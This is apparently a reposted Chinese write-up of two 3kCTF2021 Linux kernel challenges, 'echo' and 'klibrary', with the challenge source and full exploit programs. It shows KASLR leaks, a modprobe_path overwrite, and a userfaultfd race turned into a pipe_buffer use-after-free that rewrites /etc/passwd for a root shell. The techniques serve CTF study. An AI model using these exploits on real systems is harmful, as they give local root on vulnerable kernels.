3kCTF2021 echo klibrary

文章目录

  • 前言
  • echo
  • klibrary

前言

今天状态不好,很多事情都不想干,就做一做简单的题目

echo

  • 内核版本:v5.9.10
  • smap/smep/kaslr 开启
  • modprobe_path 可写

题目给了源码,非常简单就是无限次的任意地址读写:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/uaccess_64.h>

// Syscall number : 548

SYSCALL_DEFINE2(echo, void*, to, void*, from) {
    return copy_user_generic_unrolled(to, from, 8);
}

所以思路就毕竟简单了,先泄漏 kbase,然后任意地址覆写 modprobe_path 即可。所以这个题目关键的问题就在于如何 bypass kaslr

思路一:
当我们传入一个无效的地址时,copy_user_generic_unrolled 并不会导致内核 crash,当 copy_user_generic_unrolled 读取/写入失败时,其返回的是读取/写入失败的字节数,而成功时则返回 0

所以利用该特性,我们可以爆破 page_offset_base,然后 page_offset_base + 0x9d000 保存着 secondary_startup_64 的地址,所以可以利用其来泄漏 kbase

思路二:
内核版本 v5.9.10cpu_entry_area 区域并没有参与随机化,并且该区域保存着一些内核地址:

gef> x/16gx 0xfffffe0000000000+4
0xfffffe0000000004:     0xffffffff9f008e00      0x00100a7000000000
0xfffffe0000000014:     0xffffffff9f008e03      0x00100f1000000000
0xfffffe0000000024:     0xffffffff9f008e02      0x00100a1000000000
0xfffffe0000000034:     0xffffffff9f00ee00      0x0010087000000000
0xfffffe0000000044:     0xffffffff9f00ee00      0x0010089000000000
0xfffffe0000000054:     0xffffffff9f008e00      0x001009f000000000
0xfffffe0000000064:     0xffffffff9f008e00      0x001008b000000000
0xfffffe0000000074:     0xffffffff9f008e00      0x00100aa000000000

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag.txt' > /tmp/x");
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy");
        sleep(0.3);
        system("cat /flag.txt");
        exit(0);
}

void exp1() {

        uint64_t koffset = 0;
        uint64_t start = 0xffff880000000000;
        while (1) {
                int64_t res = syscall(548, &koffset, start);
                if (!res) break;
                start += 0x10000000;
        }

        printf("[+] page_offset_base: %#llx\n", start);
        syscall(548, &koffset, start+0x9d000);
        koffset -= 0xffffffff81000030;
        uint64_t modprobe_path = koffset + 0xffffffff81837cc0;
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] modprobe_path: %#llx\n", modprobe_path);

        char path[8] = "/tmp/x";
        syscall(548, modprobe_path, path);

        get_flag();
}

void exp2() {
        uint64_t koffset = 0;
        syscall(548, &koffset, 0xfffffe0000000004);
        koffset -= 0xffffffff81208e00;
        uint64_t modprobe_path = koffset + 0xffffffff81837cc0;
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] modprobe_path: %#llx\n", modprobe_path);

        char path[8] = "/tmp/x";
        syscall(548, modprobe_path, path);

        get_flag();
}

int main(int argc, char** argv, char** envp)
{
//      exp1();
        exp2();
        return 0;
}

效果如下:
在这里插入图片描述

klibrary

  • 内核版本:v5.9.10,可以使用 userfaultfd
  • smap/smep/kaslr/kpti 全开
  • SLUB 分配器,SLAB_HANDERN/RANDOM 都没开,没有 cg 隔离,这可以帮助我们稳定的构造堆布局

题目给了源码,主要的问题就是 CMD_REMOVE_ALL 删除所有堆块操作与其它操作使得的是不同的锁,所以其存在对临界资源的竞争:

#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/uaccess.h>
#include <linux/device.h>

#define DEVICE_NAME "library"
#define CLASS_NAME "library"
#define BOOK_DESCRIPTION_SIZE 0x300

#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004

static DEFINE_MUTEX(ioctl_lock);
static DEFINE_MUTEX(remove_all_lock);

MODULE_AUTHOR("MaherAzzouzi");
MODULE_DESCRIPTION("A library implemented inside the kernel.");
MODULE_LICENSE("GPL");

static int major;
static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg);
static int library_open(struct inode* inode, struct file *filp); 
static int library_release(struct inode* inode, struct file *filp); 

static struct file_operations library_fops = {
	.owner = 			THIS_MODULE,
	.unlocked_ioctl = 	library_ioctl,
	.open = 			library_open,
	.release = 			library_release
};

static struct class* library_class = NULL;
static struct device* library_device = NULL;

struct Book {
	char book_description[BOOK_DESCRIPTION_SIZE]; // 0x300
	unsigned long index;
	struct Book* next;
	struct Book* prev;
} *root;

struct Request {
	unsigned long index;
	char __user * userland_pointer;
};

unsigned long counter = 1;

static int add_book(unsigned long index);
static int remove_book(unsigned long index);
static noinline int remove_all(void);
static int add_description_to_book(struct Request request);
static int get_book_description(struct Request request);

static int library_open(struct inode* inode, struct file *filp) {
	
	printk(KERN_INFO "[library] : manage your books safely here!\n");
	return 0;
}


static int library_release(struct inode* inode, struct file *filp) {
	printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n");
	remove_all();
	return 0;
}

static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
	struct Request request;
	
	if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) {
		return -1;
	}
	// 这里使用的锁不同,所以 CMD_REMOVE_ALL 与其它操作可能存在竞争
	if(cmd == CMD_REMOVE_ALL) {
		mutex_lock(&remove_all_lock);
		remove_all();
		mutex_unlock(&remove_all_lock);	
	} else {
		mutex_lock(&ioctl_lock);

		switch(cmd) {
				case CMD_ADD:
						add_book(request.index);
						break;
				case CMD_REMOVE:
						remove_book(request.index);
						break;
				case CMD_ADD_DESC:
						add_description_to_book(request);
						break;
				case CMD_GET_DESC:
						get_book_description(request);
						break;
		}

		mutex_unlock(&ioctl_lock);
	}
	return 0;

}

static int add_book(unsigned long index) {
	
	if(counter >= 10) {
		printk(KERN_INFO "[library] can only hold 10 books here\n");
		return -1;
	}

	struct Book *b, *p;
	b = (struct Book*)kzalloc(sizeof(struct Book), GFP_KERNEL); // kmalloc-1k
	
	if(b == NULL) {
		printk(KERN_INFO "[library] : allocation failed! \n");
		return -1;
	}

	b->index = index;
	if(root == NULL) {
		root = b;
		root->prev = NULL;
		root->next = NULL;
	} else {
		p = root;
		while(p->next != NULL)
			p = p->next;
		p->next = b;
		b->prev = p;
		b->next = NULL;
	}

	counter++;

	return 0;
}

static int remove_book(unsigned long index) {
	struct Book *p, *prev, *next;
	if(root == NULL) {
		printk(KERN_INFO "[library] : no books in the library yet.");
		return -1;
	} 
	else if (root->index == index) {
		p = root;
		root = root->next;
		kfree(p);
	}
	else {
		p = root;
		while(p != NULL && p->index != index)
			p = p->next;
		
		if(p == NULL) {
			printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);
		}

		prev = p->prev;
		next = p->next;
		prev->next = next;
		next->prev = prev; // next maybe null ==> bug but not vuln
		
		kfree(p);
	}

	counter--;

	return 0;
}

static noinline int remove_all(void) {
	struct Book *b, *p;
	b = root;
	
	while(b != NULL) {
		p = b->next;
		kfree(b);
		b = p;
	}
	
	root = NULL;
	counter = 1;
	return 0;
}

static int add_description_to_book(struct Request request) {
	struct Book* book = root;

	if(book == NULL){
		printk(KERN_INFO "[library] : no books in the library yet.\n");
		return -1;
	}
	

	for(; book != NULL && book->index != request.index; book = book->next);

	if(book == NULL) {
		printk(KERN_INFO "[library] : the given index wasn't found\n");
		return -1;
	}

	if(copy_from_user((void*)book->book_description,
					  (void*)(request.userland_pointer),
					  BOOK_DESCRIPTION_SIZE)) {
		printk(KERN_INFO "[library] : copy_from_user failed for some reason.\n");
		return -1;
	}
}

static int get_book_description(struct Request request) {
	struct Book* book;
	book = root;

	if(book == NULL) {
		printk("[library] : no books yet, can not read the description.\n");
		return -1;
	}

	while(book != NULL && book->index != request.index)
		book = book->next;

	if(book == NULL) {
		printk(KERN_INFO "[library] : no book with the index you provided\n");
		return -1;
	}

	if(copy_to_user((void*)request.userland_pointer,
					(void*)book->book_description,
					BOOK_DESCRIPTION_SIZE)) {
		printk("[library] : copy_to_user failed!\n");
		return -1;
	}
}

static int __init init_library(void) {
	major = register_chrdev(0, DEVICE_NAME, &library_fops);

	if(major < 0) {
		return -1;
	}

	library_class = class_create(THIS_MODULE, CLASS_NAME);
	if(IS_ERR(library_class)) {
		unregister_chrdev(major, DEVICE_NAME);
		return -1;
	}

	library_device = device_create(library_class, 
					0, 
					MKDEV(major, 0),
				   	0, 
					DEVICE_NAME);

	if(IS_ERR(library_device)) {
		class_destroy(library_class);
		unregister_chrdev(major, DEVICE_NAME);
		return -1;
	}

	root = NULL;
	mutex_init(&ioctl_lock);
	mutex_init(&remove_all_lock);
	printk(KERN_INFO "[library] : started!\n");
	return 0;
}

static void __exit exit_library(void) {
	
	device_destroy(library_class, MKDEV(major, 0));
	class_unregister(library_class);
	class_destroy(library_class);
	unregister_chrdev(major, DEVICE_NAME);

	mutex_destroy(&ioctl_lock);
	mutex_destroy(&remove_all_lock);
	printk(KERN_INFO "[library] : finished!\n");
}

module_init(init_library);
module_exit(exit_library);

这里简单说一下,在 remove_book 函数中存在一个实现问题:

static int remove_book(unsigned long index) {
	struct Book *p, *prev, *next;
	if(root == NULL) {
		printk(KERN_INFO "[library] : no books in the library yet.");
		return -1;
	} 
	else if (root->index == index) {
		p = root;
		root = root->next;
		kfree(p);
	}
	else {
		p = root;
		while(p != NULL && p->index != index)
			p = p->next;
		
		if(p == NULL) {
			printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);
		}

		prev = p->prev;
		next = p->next;
		prev->next = next;
		next->prev = prev; // next maybe null ==> bug but not vuln
		
		kfree(p);
	}

	counter--;

	return 0;
}

这里堆块之间是使用双向链表连接,由于不是循环链表,所以尾堆块的 next 指针为 NULL,而在删除操作中没有对尾堆块进行单独的处理,所以这里可能存在对 NULL 的解引用,测试如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>


void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}


struct Request {
        unsigned long idx;
        char *ptr;
};

#define CMD_ADD         0x3000
#define CMD_REMOVE      0x3001
#define CMD_REMOVE_ALL  0x3002
#define CMD_ADD_DESC    0x3003
#define CMD_GET_DESC    0x3004

int fd;
void add(int idx) {
        struct Request req = { .idx = idx };
        ioctl(fd, CMD_ADD, &req);
}

void dele(int idx) {
        struct Request req = { .idx = idx };
        ioctl(fd, CMD_REMOVE, &req);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/library", O_RDONLY);
        if (fd < 0) err_exit("open /dev/library");

        add(0);
        add(1);
        add(2);
        dele(2);
        return 0;
}

最后由于引用 NULL 指针从而导致 crash
在这里插入图片描述
当然这个 bug 与漏洞利用无关,这里主要的问题还是锁机制的问题,remove_all 会释放所有的堆块,在对其进行操作时会获取 remove_all_lock 锁,而其它操作都是获取的 ioctl_lock 锁,所以这里存在竞争,我们可以在 edit 的过程中调用 remove_all 释放掉堆块,这时 edit 可能导致 UAF

这里我们可以获取 UAF 读和 UAF 写,首先说下 UAF 读,这里主要利用 get_book_description 函数:

static int get_book_description(struct Request request) {
	struct Book* book;
	book = root;

	if(book == NULL) {
		printk("[library] : no books yet, can not read the description.\n");
		return -1;
	}

	while(book != NULL && book->index != request.index)
		book = book->next;

	if(book == NULL) {
		printk(KERN_INFO "[library] : no book with the index you provided\n");
		return -1;
	}

	if(copy_to_user((void*)request.userland_pointer, //【1】 <===== userfaultfd to stop
					(void*)book->book_description,
					BOOK_DESCRIPTION_SIZE)) {
		printk("[library] : copy_to_user failed!\n");
		return -1;
	}
}

可以看到,我们可以在 【1】 处使用 userfaultfd 使其暂停,然后调用 remove_all 释放掉 book 堆块,然后分配其它对象占据该对象,最后恢复执行即可实现 UAF 读,UAF 写同理,其主要利用 add_description_to_book 函数,这里不再说明。然后这里的堆块大小为 kmalloc-1024

漏洞利用思路如下:
这里笔者测试发现无法创建新的命名空间,所以 USMA 打不了,然后 keyring 没有被编译,所以也用不了。最后笔者打的 dirty pipe,具体思路如下:

  • 分配一个 book1
  • get_book_description(book1) 读取内容,然后使用 userfaultfd 使其暂停,然后释放掉该 book1,然后立刻分配 pipe_buffer 占据该释放堆块,然后恢复执行即可读取 pipe_buffer 的内容
  • 分配一个 book2
  • add_description_to_book(book2) 写入内容,然后使用 userfaultfd 使其暂停,然后释放掉该 book2,然后立刻分配 pipe_buffer 占据该释放堆块,然后恢复执行即可修改 pipe_buffer 的内容

这里笔者写 /bin/busybox 还是不行,所以还是给 /bin/busybox 赋予了一个 s 权限,尝试 dirty pipe/etc/passwd,最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>


void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}

void fail_exit(char *msg)
{
        printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
        sleep(2);
        exit(EXIT_FAILURE);
}

void info(char *msg)
{
        printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
        printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct Request {
        unsigned long idx;
        char *ptr;
};

#define CMD_ADD         0x3000
#define CMD_REMOVE      0x3001
#define CMD_REMOVE_ALL  0x3002
#define CMD_ADD_DESC    0x3003
#define CMD_GET_DESC    0x3004

int fd;
void add(int idx) {
        struct Request req = { .idx = idx };
        ioctl(fd, CMD_ADD, &req);
}

void dele(int idx) {
        struct Request req = { .idx = idx };
        ioctl(fd, CMD_REMOVE, &req);
}

void edit(int idx, char* buf) {
        struct Request req = { .idx = idx, .ptr = buf };
        ioctl(fd, CMD_ADD_DESC, &req);

}

void show(int idx, char* buf) {
        struct Request req = { .idx = idx, .ptr = buf };
        ioctl(fd, CMD_GET_DESC, &req);
}

void dele_all() {
        struct Request req = { 0 };
        ioctl(fd, CMD_REMOVE_ALL, &req);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};


//#define ATTACK_FILE "/bin/busybox"
#define ATTACK_FILE "/etc/passwd"
int attack_fd;
int pipe_fd[2][2];
struct pipe_buffer evil;

char copy_src[0x1000];
void* handler0(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler0");
                dele_all();
                uint64_t offset = 1;
                if (pipe(pipe_fd[0]) < 0) err_exit("pipe");
                if (splice(attack_fd, &offset, pipe_fd[0][1], NULL, 1, 0) < 0)
                        err_exit("splice");

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler1");
                uint64_t offset = 1;
                evil.flags = 0x10;
                memcpy(copy_src, &evil, sizeof(struct pipe_buffer));
                dele_all();
                if (pipe(pipe_fd[1]) < 0) err_exit("pipe");
                if (splice(attack_fd, &offset, pipe_fd[1][1], NULL, 1, 0) < 0)
                        err_exit("splice");

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        int res;
        char buf[0x4000] = { 0 };
        char *uffd_buf0, *uffd_buf1;
        pthread_t thr0, thr1;
        fd = open("/dev/library", O_RDONLY);
        if (fd < 0) err_exit("open /dev/library");

        attack_fd = open(ATTACK_FILE, O_RDONLY);
        if (attack_fd < 0) err_exit("open " ATTACK_FILE);

        uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        uffd_buf1 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");

        register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);
        register_userfaultfd(&thr1, uffd_buf1, 0x1000, handler1);

        add(0);
        show(0, uffd_buf0);

        memcpy(&evil, uffd_buf0, sizeof(struct pipe_buffer));
        binary_dump("pipe_buffer", &evil, sizeof(struct pipe_buffer));
        add(1);
        edit(1, uffd_buf1);

        unsigned char elfcode[] = {
            /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
                0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
                0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
                0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
                0x99, 0x0f, 0x05, 0xEB
        };

//      write(pipe_fd[1][1], elfcode, sizeof(elfcode));

        char *ps = "ot::00:0:root:/root:/bin/sh\n";
        write(pipe_fd[1][1], ps, sizeof(ps));

        puts("[+] Please execute 'su root' to get root shell");
        system("su root");

        return 0;
}

效果如下:
在这里插入图片描述
这里的利用方式其实还有很多,可以选择打 tty_struct 结构体,或者劫持 pipe_buffer 打劫持程序执行流,但是这时得泄漏堆地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/618068.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Lombok注解详解

文章目录 注解详解lombok包下注解汇总- Getter- Setter- ToString- EqualsAndHashCode- Data- Value- NonNull- NoArgsConstructor- AllArgsConstructor- RequiredArgsConstructor- Builder- Synchronized- Cleanup- Singular- Generated- SneakyThrows- val- var experimental…

pwn(安装环境)

从安装虚拟机开始 1.先安装vmware 详细教程&#xff1a; VMware下载安装教程(超详细)-CSDN博客 2.然后下载虚拟机镜像文件 进入下面这个链接下载 Get Kali | Kali LinuxHome of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Te…

Linux安装配置CGAL,OpenCV和Gurobi记录

安装Qt&#xff0c;查看当前的Qt版本&#xff0c;需要至少满足v5.12 qmake -v安装CGAL&#xff0c;The Computational Geometry Algorithms Library (cgal.org) CGAL v5.6.1&#xff1a;https://github.com/CGAL/cgal/releases/download/v5.6.1/CGAL-5.6.1.tar.xz 确保C编译…

5款可用于LLMs的爬虫工具/方案

5款可用于LLMs的爬虫工具/方案 Crawl4AI 功能: 提取语义标记的数据块为JSON格式&#xff0c;提供干净的HTML和Markdown文件。 用途: 适用于RAG&#xff08;检索增强生成&#xff09;、微调以及AI聊天机器人的开发。 特点: 高效数据提取&#xff0c;支持LLM格式&#xff0c;多U…

改变浏览器大小,图片(img)内容居中显示img标签,不是背景图

改变浏览器大小,图片&#xff08;img&#xff09;内容居中显示&#xff0c;img标签&#xff0c;不是背景图 效果直接上图&#xff1a; 上代码&#xff1a; <!DOCTYPE html> <html> <head><title>测试图片居中显示&#xff0c;高度不变只变宽度<…

HCIP【BGP综合实验】

目录 一、实验拓扑图&#xff1a; 二、实验要求&#xff1a; 三、实验思路&#xff1a; 四、实验步骤&#xff1a; 1、进行网段的子网划分&#xff08;整个实验总共有19条网段&#xff09;&#xff1a; (1)首先&#xff0c;根据实验要求&#xff0c;将172.16.0.0/16全部划…

C语言学习(九)多文件编程 存储类型 结构体

目录 一、多文件编程&#xff08;一&#xff09;不写头文件的方方式进行多文件编程 &#xff08;二&#xff09;通过头文件方式进行多文件编程&#xff08;1&#xff09;方法&#xff08;2&#xff09;头文件守卫 &#xff08;三&#xff09; 使用多文件编程实现 - * / 功能 二…

系统设计中的泛化调用

背景 目前在学习一些中间件&#xff0c;里面看到了一个词是叫泛化调用&#xff0c; 其实这个场景在JAVA中比较常见。我们常用的有反射&#xff0c;反射就是我知道类名称、类方法和参数&#xff0c;调用一个Object的类&#xff0c;但是在HTTP或者RPC远程调用过程中&#xff0c;…

服务异步通讯MQ

同步调用存在的问题: 异步调用方案: RabbitMQ安装: 第一种:在线拉取 docker pull rabbitmq:3-management 第二种:将已有的安装包放入再用load加载 我这里放到tmp包里边 然后:cd /tmp docker load -i mq.tar 加载进去 然后运行mq容器 docker run \-e RABBITMQ_DEFAULT_USER…

【一步一步了解Java系列】:了解Java与C语言的运算符的“大同小异”

看到这句话的时候证明&#xff1a;此刻你我都在努力~ 加油陌生人~ 个人主页&#xff1a; Gu Gu Study ​​ 专栏&#xff1a;一步一步了解Java 喜欢的一句话&#xff1a; 常常会回顾努力的自己&#xff0c;所以要为自己的努…

下水道井盖多分类检测定位

下水道井盖识别&#xff0c;多分类&#xff0c;使用yolov5训练&#xff0c;采用一部分开源数据集和自建数据集。python pytorch opencv 深度学习#人工智能#深度学习#目标检测

在STM32中用寄存器方式点亮流水灯

文章目录 实验资料一、对寄存器的理解1.通俗认识寄存器2.深入了解寄存器&#xff08;1&#xff09;端口配置低寄存器&#xff08;配置0到7引脚的寄存器&#xff09;&#xff08;2&#xff09;端口配置高寄存器&#xff08;配置8到15引脚&#xff09; 3.GPIO口的功能描述 二、配…

Git Bash和Git GUI设置中文的方法

0 前言 Git是一个分布式版本控制系统&#xff0c;可以有效、高速地处理从很小到非常大的项目版本管理。一般默认语言为英文&#xff0c;本文介绍修改Git Bash和Git GUI语言为中文的方法。 1 Git Bash设置中文方法 &#xff08;1&#xff09;鼠标右键&#xff0c;单击“Git B…

时间复杂度的简单讲解

小伙伴们大家好&#xff0c;我们又见面了&#xff0c;这次我们直接进入正题 时间复杂度的概念 时间复杂度的定义&#xff1a;在计算机科学中&#xff0c; 算法的时间复杂度是一个函数 &#xff0c;它定量描述了该算法的运行时间。一 个算法执行所耗费的时间&#xff0c;从理论…

公有云Linux模拟TCP三次挥手与四次握手(Wireshark抓包验证版)

目录 写在前面环境准备实验步骤1. 安装nc工具2. 使用nc打开一个连接2.1 公有云-安全组放行对应端口&#xff08;可选&#xff09; 3. 打开Wireshark抓包工具4. 新开终端&#xff0c;进行连接5. 查看抓包文件&#xff0c;验证TCP三次握手与四次挥手TCP三次握手数据传输TCP四次挥…

【C++杂货铺铺】AVL树

目录 &#x1f308;前言&#x1f308; &#x1f4c1; 概念 &#x1f4c1; 节点的定义 &#x1f4c1; 插入 &#x1f4c1; 旋转 1 . 新节点插入较高左子树的左侧---左左&#xff1a;右单旋 2. 新节点插入较高右子树的右侧---右右&#xff1a;左单旋 3. 新节点插入较高左…

57 读取/写出/读取 文件的过程的调试

前言 问题来自于文章 请教文件读写问题 请教文件读写问题 - 内核源码-Chinaunix vim 编辑文件, 实际上删除了原有的文件建立了一个新的文件? Ls –ail . 查看 inode 编号不一样了 这里主要是 调试一下 这一系列流程 测试用例 就是一个程序, 读取 1.txt 两次, 两次之间间隔…

49. UE5 RPG 使用Execution Calculations处理对目标造成的最终伤害

Execution Calculations是Unreal Engine中Gameplay Effects系统的一部分&#xff0c;用于在Gameplay Effect执行期间进行自定义的计算和逻辑操作。它允许开发者根据特定的游戏需求&#xff0c;灵活地处理和修改游戏中的属性&#xff08;Attributes&#xff09;。 功能强大且灵…

国内智能搜索工具实战教程

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

C++新特性-线程

主要内容 thread、condition、mutexatomicfunction、bind使用新特性实现线程池&#xff08;支持可变参数列表&#xff09;异常协程其他 1 C11多线程thread 重点&#xff1a; join和detach的使用场景thread构造函数参数绑定c函数绑定类函数线程封装基础类互斥锁mutexconditi…